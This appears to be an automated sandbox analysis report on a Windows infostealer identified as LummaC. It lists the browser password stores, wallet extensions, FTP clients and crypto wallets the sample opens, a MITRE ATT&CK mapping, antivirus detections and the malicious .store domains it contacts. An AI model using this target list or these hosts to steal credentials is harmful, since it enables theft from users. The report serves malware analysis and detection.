Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\IVHSHTCODI	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\IVHSHTCODI	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\MNULNCRIYC	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\PSAMNLJHZW	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\WUTJSCBCFX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\XQACHMZIHU	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\IVHSHTCODI	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\TTCBKWZYOC	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\WUTJSCBCFX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\XQACHMZIHU	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\PSAMNLJHZW	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\PSAMNLJHZW	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\TTCBKWZYOC	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\IVHSHTCODI	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\TTCBKWZYOC	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\XQACHMZIHU	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\IVHSHTCODI	Jump to behavior

Source: Yara match	File source: 00000000.00000003.2186505484.0000000001396000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 3056, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: file.exe PID: 3056, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Windows Management Instrumentation	1 DLL Side-Loading	1 Process Injection	34 Virtualization/Sandbox Evasion	2 OS Credential Dumping	751 Security Software Discovery	Remote Services	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	Boot or Logon Initialization Scripts	1 DLL Side-Loading	1 Process Injection	LSASS Memory	34 Virtualization/Sandbox Evasion	Remote Desktop Protocol	41 Data from Local System	2 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 PowerShell	Logon Script (Windows)	Logon Script (Windows)	1 Deobfuscate/Decode Files or Information	Security Account Manager	2 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	113 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	2 Obfuscated Files or Information	NTDS	1 File and Directory Discovery	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	12 Software Packing	LSA Secrets	223 System Information Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	Wi-Fi Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	45%	ReversingLabs	Win32.Infostealer.Tinba
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.	0%	URL Reputation	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
http://crl.rootca1.amazontrust.com/rootca1.crl0	0%	URL Reputation	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta	0%	URL Reputation	safe
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	0%	URL Reputation	safe
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg	0%	URL Reputation	safe
http://crl.micro	0%	URL Reputation	safe
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	0%	URL Reputation	safe
http://x1.c.lencr.org/0	0%	URL Reputation	safe
http://x1.i.lencr.org/0	0%	URL Reputation	safe
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
http://crt.rootca1.amazontrust.com/rootca1.cer0?	0%	URL Reputation	safe
https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref	0%	URL Reputation	safe
https://support.mozilla.org/products/firefoxgro.all	0%	URL Reputation	safe
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
necklacedmny.store	188.114.97.3	true	true	unknown
presticitpo.store	unknown	unknown	true	unknown
thumbystriw.store	unknown	unknown	true	unknown
crisiwarny.store	unknown	unknown	true	unknown
fadehairucw.store	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Reputation
https://necklacedmny.store/api	true	unknown
presticitpo.store	true	unknown
scriptyprefej.store	true	unknown
necklacedmny.store	true	unknown
fadehairucw.store	true	unknown
navygenerayk.store	true	unknown
founpiuer.store	true	unknown
thumbystriw.store	true	unknown
crisiwarny.store	true	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	file.exe, 00000000.00000003.2141958855.0000000005BD6000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2142104444.0000000005BD6000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2141879804.0000000005BD9000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://necklacedmny.store/7	file.exe, 00000000.00000002.2235855506.000000000134B000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000003.2141958855.0000000005BD6000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2142104444.0000000005BD6000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2141879804.0000000005BD9000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	file.exe, 00000000.00000003.2141958855.0000000005BD6000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2142104444.0000000005BD6000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2141879804.0000000005BD9000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	file.exe, 00000000.00000003.2182450142.0000000005C3B000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.	file.exe, 00000000.00000003.2211062295.0000000005C34000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2204453627.0000000005C34000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2182450142.0000000005C3B000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000003.2141958855.0000000005BD6000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2142104444.0000000005BD6000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2141879804.0000000005BD9000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://crl.rootca1.amazontrust.com/rootca1.crl0	file.exe, 00000000.00000003.2167537186.0000000005BAD000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	file.exe, 00000000.00000003.2141958855.0000000005BD6000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2142104444.0000000005BD6000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2141879804.0000000005BD9000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://ocsp.rootca1.amazontrust.com0:	file.exe, 00000000.00000003.2167537186.0000000005BAD000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://necklacedmny.store/apibc	file.exe, 00000000.00000002.2235855506.000000000134B000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://www.ecosia.org/newtab/	file.exe, 00000000.00000003.2141958855.0000000005BD6000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2142104444.0000000005BD6000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2141879804.0000000005BD9000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta	file.exe, 00000000.00000003.2211062295.0000000005C34000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2204453627.0000000005C34000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2182450142.0000000005C3B000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	file.exe, 00000000.00000003.2168426300.0000000005ECA000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ac.ecosia.org/autocomplete?q=	file.exe, 00000000.00000003.2141958855.0000000005BD6000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2142104444.0000000005BD6000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2141879804.0000000005BD9000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg	file.exe, 00000000.00000003.2182450142.0000000005C3B000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://necklacedmny.store/	file.exe, 00000000.00000003.2182450142.0000000005C3F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.2235855506.0000000001320000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2229457667.00000000013B3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2235855506.000000000134B000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://crl.micro	file.exe, 00000000.00000003.2229531090.000000000138D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2127178757.0000000001359000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	file.exe, 00000000.00000003.2211062295.0000000005C34000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2204453627.0000000005C34000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2182450142.0000000005C3B000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://necklacedmny.store/api#Q	file.exe, 00000000.00000003.2229531090.000000000138D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2229582568.0000000001393000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2235855506.0000000001394000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://x1.c.lencr.org/0	file.exe, 00000000.00000003.2167537186.0000000005BAD000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://x1.i.lencr.org/0	file.exe, 00000000.00000003.2167537186.0000000005BAD000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	file.exe, 00000000.00000003.2141958855.0000000005BD6000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2142104444.0000000005BD6000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2141879804.0000000005BD9000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://necklacedmny.store/apiZ	file.exe, 00000000.00000003.2199902967.00000000013B6000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://crt.rootca1.amazontrust.com/rootca1.cer0?	file.exe, 00000000.00000003.2167537186.0000000005BAD000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref	file.exe, 00000000.00000003.2211062295.0000000005C34000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2204453627.0000000005C34000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2182450142.0000000005C3B000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://necklacedmny.store/apis	file.exe, 00000000.00000002.2235855506.000000000134B000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477	file.exe, 00000000.00000003.2211062295.0000000005C34000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2204453627.0000000005C34000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.2237709208.0000000005C3A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2182450142.0000000005C3B000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://support.mozilla.org/products/firefoxgro.all	file.exe, 00000000.00000003.2168426300.0000000005ECA000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
